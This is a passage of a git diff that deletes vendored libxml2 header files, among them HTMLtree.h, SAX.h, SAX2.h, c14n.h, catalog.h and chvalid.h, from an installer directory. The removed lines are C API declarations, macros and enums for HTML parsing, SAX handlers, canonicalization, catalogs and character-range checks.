*cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadFile (const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadMemory (const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadFd (int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadDoc (xmlParserCtxtPtr ctxt, - const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadFile (xmlParserCtxtPtr ctxt, - const char *filename, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadMemory (xmlParserCtxtPtr ctxt, - const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadFd (xmlParserCtxtPtr ctxt, - int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadIO (xmlParserCtxtPtr ctxt, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); - -/* NRK/Jan2003: further knowledge of HTML structure - */ -typedef enum { - HTML_NA = 0 , /* something we don't check at all */ - HTML_INVALID = 0x1 , - HTML_DEPRECATED = 0x2 , - HTML_VALID = 0x4 , - HTML_REQUIRED = 0xc /* VALID bit set so ( & HTML_VALID ) is TRUE */ -} htmlStatus ; - -/* Using htmlElemDesc rather than name here, to emphasise the fact - that otherwise there's a lookup overhead -*/ -XMLPUBFUN htmlStatus XMLCALL htmlAttrAllowed(const htmlElemDesc*, const xmlChar*, int) ; -XMLPUBFUN int XMLCALL htmlElementAllowedHere(const htmlElemDesc*, const xmlChar*) ; -XMLPUBFUN htmlStatus XMLCALL htmlElementStatusHere(const htmlElemDesc*, const htmlElemDesc*) ; -XMLPUBFUN htmlStatus XMLCALL htmlNodeStatus(const htmlNodePtr, int) ; -/** - * htmlDefaultSubelement: - * @elt: HTML element - * - * Returns the default subelement for this element - */ -#define htmlDefaultSubelement(elt) elt->defaultsubelt -/** - * htmlElementAllowedHereDesc: - * @parent: HTML parent element - * @elt: HTML element - * - * Checks whether an HTML element description may be a - * direct child of the specified element. - * - * Returns 1 if allowed; 0 otherwise. - */ -#define htmlElementAllowedHereDesc(parent,elt) \ - htmlElementAllowedHere((parent), (elt)->name) -/** - * htmlRequiredAttrs: - * @elt: HTML element - * - * Returns the attributes required for the specified element. - */ -#define htmlRequiredAttrs(elt) (elt)->attrs_req - - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_HTML_ENABLED */ -#endif /* __HTML_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/HTMLtree.h b/installer/libxml2/include/libxml/HTMLtree.h deleted file mode 100644 index c0e1103..0000000 --- a/installer/libxml2/include/libxml/HTMLtree.h +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Summary: specific APIs to process HTML tree, especially serialization - * Description: this module implements a few function needed to process - * tree in an HTML specific way. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __HTML_TREE_H__ -#define __HTML_TREE_H__ - -#include -#include -#include -#include - -#ifdef LIBXML_HTML_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - - -/** - * HTML_TEXT_NODE: - * - * Macro. A text node in a HTML document is really implemented - * the same way as a text node in an XML document. - */ -#define HTML_TEXT_NODE XML_TEXT_NODE -/** - * HTML_ENTITY_REF_NODE: - * - * Macro. An entity reference in a HTML document is really implemented - * the same way as an entity reference in an XML document. - */ -#define HTML_ENTITY_REF_NODE XML_ENTITY_REF_NODE -/** - * HTML_COMMENT_NODE: - * - * Macro. A comment in a HTML document is really implemented - * the same way as a comment in an XML document. - */ -#define HTML_COMMENT_NODE XML_COMMENT_NODE -/** - * HTML_PRESERVE_NODE: - * - * Macro. A preserved node in a HTML document is really implemented - * the same way as a CDATA section in an XML document. - */ -#define HTML_PRESERVE_NODE XML_CDATA_SECTION_NODE -/** - * HTML_PI_NODE: - * - * Macro. A processing instruction in a HTML document is really implemented - * the same way as a processing instruction in an XML document. - */ -#define HTML_PI_NODE XML_PI_NODE - -XMLPUBFUN htmlDocPtr XMLCALL - htmlNewDoc (const xmlChar *URI, - const xmlChar *ExternalID); -XMLPUBFUN htmlDocPtr XMLCALL - htmlNewDocNoDtD (const xmlChar *URI, - const xmlChar *ExternalID); -XMLPUBFUN const xmlChar * XMLCALL - htmlGetMetaEncoding (htmlDocPtr doc); -XMLPUBFUN int XMLCALL - htmlSetMetaEncoding (htmlDocPtr doc, - const xmlChar *encoding); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - htmlDocDumpMemory (xmlDocPtr cur, - xmlChar **mem, - int *size); -XMLPUBFUN void XMLCALL - htmlDocDumpMemoryFormat (xmlDocPtr cur, - xmlChar **mem, - int *size, - int format); -XMLPUBFUN int XMLCALL - htmlDocDump (FILE *f, - xmlDocPtr cur); -XMLPUBFUN int XMLCALL - htmlSaveFile (const char *filename, - xmlDocPtr cur); -XMLPUBFUN int XMLCALL - htmlNodeDump (xmlBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur); -XMLPUBFUN void XMLCALL - htmlNodeDumpFile (FILE *out, - xmlDocPtr doc, - xmlNodePtr cur); -XMLPUBFUN int XMLCALL - htmlNodeDumpFileFormat (FILE *out, - xmlDocPtr doc, - xmlNodePtr cur, - const char *encoding, - int format); -XMLPUBFUN int XMLCALL - htmlSaveFileEnc (const char *filename, - xmlDocPtr cur, - const char *encoding); -XMLPUBFUN int XMLCALL - htmlSaveFileFormat (const char *filename, - xmlDocPtr cur, - const char *encoding, - int format); - -XMLPUBFUN void XMLCALL - htmlNodeDumpFormatOutput(xmlOutputBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - const char *encoding, - int format); -XMLPUBFUN void XMLCALL - htmlDocContentDumpOutput(xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding); -XMLPUBFUN void XMLCALL - htmlDocContentDumpFormatOutput(xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding, - int format); -XMLPUBFUN void XMLCALL - htmlNodeDumpOutput (xmlOutputBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - const char *encoding); - -#endif /* LIBXML_OUTPUT_ENABLED */ - -XMLPUBFUN int XMLCALL - htmlIsBooleanAttr (const xmlChar *name); - - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_HTML_ENABLED */ - -#endif /* __HTML_TREE_H__ */ - diff --git a/installer/libxml2/include/libxml/SAX.h b/installer/libxml2/include/libxml/SAX.h deleted file mode 100644 index 20093ce..0000000 --- a/installer/libxml2/include/libxml/SAX.h +++ /dev/null @@ -1,173 +0,0 @@ -/* - * Summary: Old SAX version 1 handler, deprecated - * Description: DEPRECATED set of SAX version 1 interfaces used to - * build the DOM tree. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SAX_H__ -#define __XML_SAX_H__ - -#include -#include -#include -#include -#include - -#ifdef LIBXML_LEGACY_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN const xmlChar * XMLCALL - getPublicId (void *ctx); -XMLPUBFUN const xmlChar * XMLCALL - getSystemId (void *ctx); -XMLPUBFUN void XMLCALL - setDocumentLocator (void *ctx, - xmlSAXLocatorPtr loc); - -XMLPUBFUN int XMLCALL - getLineNumber (void *ctx); -XMLPUBFUN int XMLCALL - getColumnNumber (void *ctx); - -XMLPUBFUN int XMLCALL - isStandalone (void *ctx); -XMLPUBFUN int XMLCALL - hasInternalSubset (void *ctx); -XMLPUBFUN int XMLCALL - hasExternalSubset (void *ctx); - -XMLPUBFUN void XMLCALL - internalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN void XMLCALL - externalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlEntityPtr XMLCALL - getEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - getParameterEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlParserInputPtr XMLCALL - resolveEntity (void *ctx, - const xmlChar *publicId, - const xmlChar *systemId); - -XMLPUBFUN void XMLCALL - entityDecl (void *ctx, - const xmlChar *name, - int type, - const xmlChar *publicId, - const xmlChar *systemId, - xmlChar *content); -XMLPUBFUN void XMLCALL - attributeDecl (void *ctx, - const xmlChar *elem, - const xmlChar *fullname, - int type, - int def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -XMLPUBFUN void XMLCALL - elementDecl (void *ctx, - const xmlChar *name, - int type, - xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - notationDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId); -XMLPUBFUN void XMLCALL - unparsedEntityDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId, - const xmlChar *notationName); - -XMLPUBFUN void XMLCALL - startDocument (void *ctx); -XMLPUBFUN void XMLCALL - endDocument (void *ctx); -XMLPUBFUN void XMLCALL - attribute (void *ctx, - const xmlChar *fullname, - const xmlChar *value); -XMLPUBFUN void XMLCALL - startElement (void *ctx, - const xmlChar *fullname, - const xmlChar **atts); -XMLPUBFUN void XMLCALL - endElement (void *ctx, - const xmlChar *name); -XMLPUBFUN void XMLCALL - reference (void *ctx, - const xmlChar *name); -XMLPUBFUN void XMLCALL - characters (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - ignorableWhitespace (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - processingInstruction (void *ctx, - const xmlChar *target, - const xmlChar *data); -XMLPUBFUN void XMLCALL - globalNamespace (void *ctx, - const xmlChar *href, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - setNamespace (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlNsPtr XMLCALL - getNamespace (void *ctx); -XMLPUBFUN int XMLCALL - checkNamespace (void *ctx, - xmlChar *nameSpace); -XMLPUBFUN void XMLCALL - namespaceDecl (void *ctx, - const xmlChar *href, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - comment (void *ctx, - const xmlChar *value); -XMLPUBFUN void XMLCALL - cdataBlock (void *ctx, - const xmlChar *value, - int len); - -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN void XMLCALL - initxmlDefaultSAXHandler (xmlSAXHandlerV1 *hdlr, - int warning); -#ifdef LIBXML_HTML_ENABLED -XMLPUBFUN void XMLCALL - inithtmlDefaultSAXHandler (xmlSAXHandlerV1 *hdlr); -#endif -#ifdef LIBXML_DOCB_ENABLED -XMLPUBFUN void XMLCALL - initdocbDefaultSAXHandler (xmlSAXHandlerV1 *hdlr); -#endif -#endif /* LIBXML_SAX1_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_LEGACY_ENABLED */ - -#endif /* __XML_SAX_H__ */ diff --git a/installer/libxml2/include/libxml/SAX2.h b/installer/libxml2/include/libxml/SAX2.h deleted file mode 100644 index a55212e..0000000 --- a/installer/libxml2/include/libxml/SAX2.h +++ /dev/null @@ -1,178 +0,0 @@ -/* - * Summary: SAX2 parser interface used to build the DOM tree - * Description: those are the default SAX2 interfaces used by - * the library when building DOM tree. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SAX2_H__ -#define __XML_SAX2_H__ - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN const xmlChar * XMLCALL - xmlSAX2GetPublicId (void *ctx); -XMLPUBFUN const xmlChar * XMLCALL - xmlSAX2GetSystemId (void *ctx); -XMLPUBFUN void XMLCALL - xmlSAX2SetDocumentLocator (void *ctx, - xmlSAXLocatorPtr loc); - -XMLPUBFUN int XMLCALL - xmlSAX2GetLineNumber (void *ctx); -XMLPUBFUN int XMLCALL - xmlSAX2GetColumnNumber (void *ctx); - -XMLPUBFUN int XMLCALL - xmlSAX2IsStandalone (void *ctx); -XMLPUBFUN int XMLCALL - xmlSAX2HasInternalSubset (void *ctx); -XMLPUBFUN int XMLCALL - xmlSAX2HasExternalSubset (void *ctx); - -XMLPUBFUN void XMLCALL - xmlSAX2InternalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN void XMLCALL - xmlSAX2ExternalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlSAX2GetEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlSAX2GetParameterEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlSAX2ResolveEntity (void *ctx, - const xmlChar *publicId, - const xmlChar *systemId); - -XMLPUBFUN void XMLCALL - xmlSAX2EntityDecl (void *ctx, - const xmlChar *name, - int type, - const xmlChar *publicId, - const xmlChar *systemId, - xmlChar *content); -XMLPUBFUN void XMLCALL - xmlSAX2AttributeDecl (void *ctx, - const xmlChar *elem, - const xmlChar *fullname, - int type, - int def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -XMLPUBFUN void XMLCALL - xmlSAX2ElementDecl (void *ctx, - const xmlChar *name, - int type, - xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - xmlSAX2NotationDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId); -XMLPUBFUN void XMLCALL - xmlSAX2UnparsedEntityDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId, - const xmlChar *notationName); - -XMLPUBFUN void XMLCALL - xmlSAX2StartDocument (void *ctx); -XMLPUBFUN void XMLCALL - xmlSAX2EndDocument (void *ctx); -#if defined(LIBXML_SAX1_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ - defined(LIBXML_WRITER_ENABLED) || defined(LIBXML_DOCB_ENABLED) || \ - defined(LIBXML_LEGACY_ENABLED) -XMLPUBFUN void XMLCALL - xmlSAX2StartElement (void *ctx, - const xmlChar *fullname, - const xmlChar **atts); -XMLPUBFUN void XMLCALL - xmlSAX2EndElement (void *ctx, - const xmlChar *name); -#endif /* LIBXML_SAX1_ENABLED or LIBXML_HTML_ENABLED or LIBXML_LEGACY_ENABLED */ -XMLPUBFUN void XMLCALL - xmlSAX2StartElementNs (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI, - int nb_namespaces, - const xmlChar **namespaces, - int nb_attributes, - int nb_defaulted, - const xmlChar **attributes); -XMLPUBFUN void XMLCALL - xmlSAX2EndElementNs (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI); -XMLPUBFUN void XMLCALL - xmlSAX2Reference (void *ctx, - const xmlChar *name); -XMLPUBFUN void XMLCALL - xmlSAX2Characters (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - xmlSAX2IgnorableWhitespace (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - xmlSAX2ProcessingInstruction (void *ctx, - const xmlChar *target, - const xmlChar *data); -XMLPUBFUN void XMLCALL - xmlSAX2Comment (void *ctx, - const xmlChar *value); -XMLPUBFUN void XMLCALL - xmlSAX2CDataBlock (void *ctx, - const xmlChar *value, - int len); - -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlSAXDefaultVersion (int version); -#endif /* LIBXML_SAX1_ENABLED */ - -XMLPUBFUN int XMLCALL - xmlSAXVersion (xmlSAXHandler *hdlr, - int version); -XMLPUBFUN void XMLCALL - xmlSAX2InitDefaultSAXHandler (xmlSAXHandler *hdlr, - int warning); -#ifdef LIBXML_HTML_ENABLED -XMLPUBFUN void XMLCALL - xmlSAX2InitHtmlDefaultSAXHandler(xmlSAXHandler *hdlr); -XMLPUBFUN void XMLCALL - htmlDefaultSAXHandlerInit (void); -#endif -#ifdef LIBXML_DOCB_ENABLED -XMLPUBFUN void XMLCALL - xmlSAX2InitDocbDefaultSAXHandler(xmlSAXHandler *hdlr); -XMLPUBFUN void XMLCALL - docbDefaultSAXHandlerInit (void); -#endif -XMLPUBFUN void XMLCALL - xmlDefaultSAXHandlerInit (void); -#ifdef __cplusplus -} -#endif -#endif /* __XML_SAX2_H__ */ diff --git a/installer/libxml2/include/libxml/c14n.h b/installer/libxml2/include/libxml/c14n.h deleted file mode 100644 index b8971d9..0000000 --- a/installer/libxml2/include/libxml/c14n.h +++ /dev/null @@ -1,126 +0,0 @@ -/* - * Summary: Provide Canonical XML and Exclusive XML Canonicalization - * Description: the c14n modules provides a - * - * "Canonical XML" implementation - * http://www.w3.org/TR/xml-c14n - * - * and an - * - * "Exclusive XML Canonicalization" implementation - * http://www.w3.org/TR/xml-exc-c14n - - * Copy: See Copyright for the status of this software. - * - * Author: Aleksey Sanin - */ -#ifndef __XML_C14N_H__ -#define __XML_C14N_H__ -#ifdef LIBXML_C14N_ENABLED -#ifdef LIBXML_OUTPUT_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif /* __cplusplus */ - -#include -#include -#include - -/* - * XML Canonicazation - * http://www.w3.org/TR/xml-c14n - * - * Exclusive XML Canonicazation - * http://www.w3.org/TR/xml-exc-c14n - * - * Canonical form of an XML document could be created if and only if - * a) default attributes (if any) are added to all nodes - * b) all character and parsed entity references are resolved - * In order to achive this in libxml2 the document MUST be loaded with - * following global setings: - * - * xmlLoadExtDtdDefaultValue = XML_DETECT_IDS | XML_COMPLETE_ATTRS; - * xmlSubstituteEntitiesDefault(1); - * - * or corresponding parser context setting: - * xmlParserCtxtPtr ctxt; - * - * ... - * ctxt->loadsubset = XML_DETECT_IDS | XML_COMPLETE_ATTRS; - * ctxt->replaceEntities = 1; - * ... - */ - -/* - * xmlC14NMode: - * - * Predefined values for C14N modes - * - */ -typedef enum { - XML_C14N_1_0 = 0, /* Origianal C14N 1.0 spec */ - XML_C14N_EXCLUSIVE_1_0 = 1, /* Exclusive C14N 1.0 spec */ - XML_C14N_1_1 = 2 /* C14N 1.1 spec */ -} xmlC14NMode; - -XMLPUBFUN int XMLCALL - xmlC14NDocSaveTo (xmlDocPtr doc, - xmlNodeSetPtr nodes, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - xmlOutputBufferPtr buf); - -XMLPUBFUN int XMLCALL - xmlC14NDocDumpMemory (xmlDocPtr doc, - xmlNodeSetPtr nodes, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - xmlChar **doc_txt_ptr); - -XMLPUBFUN int XMLCALL - xmlC14NDocSave (xmlDocPtr doc, - xmlNodeSetPtr nodes, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - const char* filename, - int compression); - - -/** - * This is the core C14N function - */ -/** - * xmlC14NIsVisibleCallback: - * @user_data: user data - * @node: the curent node - * @parent: the parent node - * - * Signature for a C14N callback on visible nodes - * - * Returns 1 if the node should be included - */ -typedef int (*xmlC14NIsVisibleCallback) (void* user_data, - xmlNodePtr node, - xmlNodePtr parent); - -XMLPUBFUN int XMLCALL - xmlC14NExecute (xmlDocPtr doc, - xmlC14NIsVisibleCallback is_visible_callback, - void* user_data, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - xmlOutputBufferPtr buf); - -#ifdef __cplusplus -} -#endif /* __cplusplus */ - -#endif /* LIBXML_OUTPUT_ENABLED */ -#endif /* LIBXML_C14N_ENABLED */ -#endif /* __XML_C14N_H__ */ - diff --git a/installer/libxml2/include/libxml/catalog.h b/installer/libxml2/include/libxml/catalog.h deleted file mode 100644 index 5a13f51..0000000 --- a/installer/libxml2/include/libxml/catalog.h +++ /dev/null @@ -1,182 +0,0 @@ -/** - * Summary: interfaces to the Catalog handling system - * Description: the catalog module implements the support for - * XML Catalogs and SGML catalogs - * - * SGML Open Technical Resolution TR9401:1997. - * http://www.jclark.com/sp/catalog.htm - * - * XML Catalogs Working Draft 06 August 2001 - * http://www.oasis-open.org/committees/entity/spec-2001-08-06.html - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_CATALOG_H__ -#define __XML_CATALOG_H__ - -#include - -#include -#include -#include - -#ifdef LIBXML_CATALOG_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * XML_CATALOGS_NAMESPACE: - * - * The namespace for the XML Catalogs elements. - */ -#define XML_CATALOGS_NAMESPACE \ - (const xmlChar *) "urn:oasis:names:tc:entity:xmlns:xml:catalog" -/** - * XML_CATALOG_PI: - * - * The specific XML Catalog Processing Instuction name. - */ -#define XML_CATALOG_PI \ - (const xmlChar *) "oasis-xml-catalog" - -/* - * The API is voluntarily limited to general cataloging. - */ -typedef enum { - XML_CATA_PREFER_NONE = 0, - XML_CATA_PREFER_PUBLIC = 1, - XML_CATA_PREFER_SYSTEM -} xmlCatalogPrefer; - -typedef enum { - XML_CATA_ALLOW_NONE = 0, - XML_CATA_ALLOW_GLOBAL = 1, - XML_CATA_ALLOW_DOCUMENT = 2, - XML_CATA_ALLOW_ALL = 3 -} xmlCatalogAllow; - -typedef struct _xmlCatalog xmlCatalog; -typedef xmlCatalog *xmlCatalogPtr; - -/* - * Operations on a given catalog. - */ -XMLPUBFUN xmlCatalogPtr XMLCALL - xmlNewCatalog (int sgml); -XMLPUBFUN xmlCatalogPtr XMLCALL - xmlLoadACatalog (const char *filename); -XMLPUBFUN xmlCatalogPtr XMLCALL - xmlLoadSGMLSuperCatalog (const char *filename); -XMLPUBFUN int XMLCALL - xmlConvertSGMLCatalog (xmlCatalogPtr catal); -XMLPUBFUN int XMLCALL - xmlACatalogAdd (xmlCatalogPtr catal, - const xmlChar *type, - const xmlChar *orig, - const xmlChar *replace); -XMLPUBFUN int XMLCALL - xmlACatalogRemove (xmlCatalogPtr catal, - const xmlChar *value); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolve (xmlCatalogPtr catal, - const xmlChar *pubID, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolveSystem(xmlCatalogPtr catal, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolvePublic(xmlCatalogPtr catal, - const xmlChar *pubID); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolveURI (xmlCatalogPtr catal, - const xmlChar *URI); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlACatalogDump (xmlCatalogPtr catal, - FILE *out); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeCatalog (xmlCatalogPtr catal); -XMLPUBFUN int XMLCALL - xmlCatalogIsEmpty (xmlCatalogPtr catal); - -/* - * Global operations. - */ -XMLPUBFUN void XMLCALL - xmlInitializeCatalog (void); -XMLPUBFUN int XMLCALL - xmlLoadCatalog (const char *filename); -XMLPUBFUN void XMLCALL - xmlLoadCatalogs (const char *paths); -XMLPUBFUN void XMLCALL - xmlCatalogCleanup (void); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlCatalogDump (FILE *out); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolve (const xmlChar *pubID, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolveSystem (const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolvePublic (const xmlChar *pubID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolveURI (const xmlChar *URI); -XMLPUBFUN int XMLCALL - xmlCatalogAdd (const xmlChar *type, - const xmlChar *orig, - const xmlChar *replace); -XMLPUBFUN int XMLCALL - xmlCatalogRemove (const xmlChar *value); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseCatalogFile (const char *filename); -XMLPUBFUN int XMLCALL - xmlCatalogConvert (void); - -/* - * Strictly minimal interfaces for per-document catalogs used - * by the parser. - */ -XMLPUBFUN void XMLCALL - xmlCatalogFreeLocal (void *catalogs); -XMLPUBFUN void * XMLCALL - xmlCatalogAddLocal (void *catalogs, - const xmlChar *URL); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogLocalResolve (void *catalogs, - const xmlChar *pubID, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogLocalResolveURI(void *catalogs, - const xmlChar *URI); -/* - * Preference settings. - */ -XMLPUBFUN int XMLCALL - xmlCatalogSetDebug (int level); -XMLPUBFUN xmlCatalogPrefer XMLCALL - xmlCatalogSetDefaultPrefer(xmlCatalogPrefer prefer); -XMLPUBFUN void XMLCALL - xmlCatalogSetDefaults (xmlCatalogAllow allow); -XMLPUBFUN xmlCatalogAllow XMLCALL - xmlCatalogGetDefaults (void); - - -/* DEPRECATED interfaces */ -XMLPUBFUN const xmlChar * XMLCALL - xmlCatalogGetSystem (const xmlChar *sysID); -XMLPUBFUN const xmlChar * XMLCALL - xmlCatalogGetPublic (const xmlChar *pubID); - -#ifdef __cplusplus -} -#endif -#endif /* LIBXML_CATALOG_ENABLED */ -#endif /* __XML_CATALOG_H__ */ diff --git a/installer/libxml2/include/libxml/chvalid.h b/installer/libxml2/include/libxml/chvalid.h deleted file mode 100644 index fb43016..0000000 --- a/installer/libxml2/include/libxml/chvalid.h +++ /dev/null @@ -1,230 +0,0 @@ -/* - * Summary: Unicode character range checking - * Description: this module exports interfaces for the character - * range validation APIs - * - * This file is automatically generated from the cvs source - * definition files using the genChRanges.py Python script - * - * Generation date: Mon Mar 27 11:09:48 2006 - * Sources: chvalid.def - * Author: William Brack - */ - -#ifndef __XML_CHVALID_H__ -#define __XML_CHVALID_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Define our typedefs and structures - * - */ -typedef struct _xmlChSRange xmlChSRange; -typedef xmlChSRange *xmlChSRangePtr; -struct _xmlChSRange { - unsigned short low; - unsigned short high; -}; - -typedef struct _xmlChLRange xmlChLRange; -typedef xmlChLRange *xmlChLRangePtr; -struct _xmlChLRange { - unsigned int low; - unsigned int high; -}; - -typedef struct _xmlChRangeGroup xmlChRangeGroup; -typedef xmlChRangeGroup *xmlChRangeGroupPtr; -struct _xmlChRangeGroup { - int nbShortRange; - int nbLongRange; - const xmlChSRange *shortRange; /* points to an array of ranges */ - const xmlChLRange *longRange; -}; - -/** - * Range checking routine - */ -XMLPUBFUN int XMLCALL - xmlCharInRange(unsigned int val, const xmlChRangeGroup *group); - - -/** - * xmlIsBaseChar_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBaseChar_ch(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \ - ((0x61 <= (c)) && ((c) <= 0x7a)) || \ - ((0xc0 <= (c)) && ((c) <= 0xd6)) || \ - ((0xd8 <= (c)) && ((c) <= 0xf6)) || \ - (0xf8 <= (c))) - -/** - * xmlIsBaseCharQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBaseCharQ(c) (((c) < 0x100) ? \ - xmlIsBaseChar_ch((c)) : \ - xmlCharInRange((c), &xmlIsBaseCharGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsBaseCharGroup; - -/** - * xmlIsBlank_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBlank_ch(c) (((c) == 0x20) || \ - ((0x9 <= (c)) && ((c) <= 0xa)) || \ - ((c) == 0xd)) - -/** - * xmlIsBlankQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBlankQ(c) (((c) < 0x100) ? \ - xmlIsBlank_ch((c)) : 0) - - -/** - * xmlIsChar_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsChar_ch(c) (((0x9 <= (c)) && ((c) <= 0xa)) || \ - ((c) == 0xd) || \ - (0x20 <= (c))) - -/** - * xmlIsCharQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsCharQ(c) (((c) < 0x100) ? \ - xmlIsChar_ch((c)) :\ - (((0x100 <= (c)) && ((c) <= 0xd7ff)) || \ - ((0xe000 <= (c)) && ((c) <= 0xfffd)) || \ - ((0x10000 <= (c)) && ((c) <= 0x10ffff)))) - -XMLPUBVAR const xmlChRangeGroup xmlIsCharGroup; - -/** - * xmlIsCombiningQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsCombiningQ(c) (((c) < 0x100) ? \ - 0 : \ - xmlCharInRange((c), &xmlIsCombiningGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsCombiningGroup; - -/** - * xmlIsDigit_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsDigit_ch(c) (((0x30 <= (c)) && ((c) <= 0x39))) - -/** - * xmlIsDigitQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsDigitQ(c) (((c) < 0x100) ? \ - xmlIsDigit_ch((c)) : \ - xmlCharInRange((c), &xmlIsDigitGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsDigitGroup; - -/** 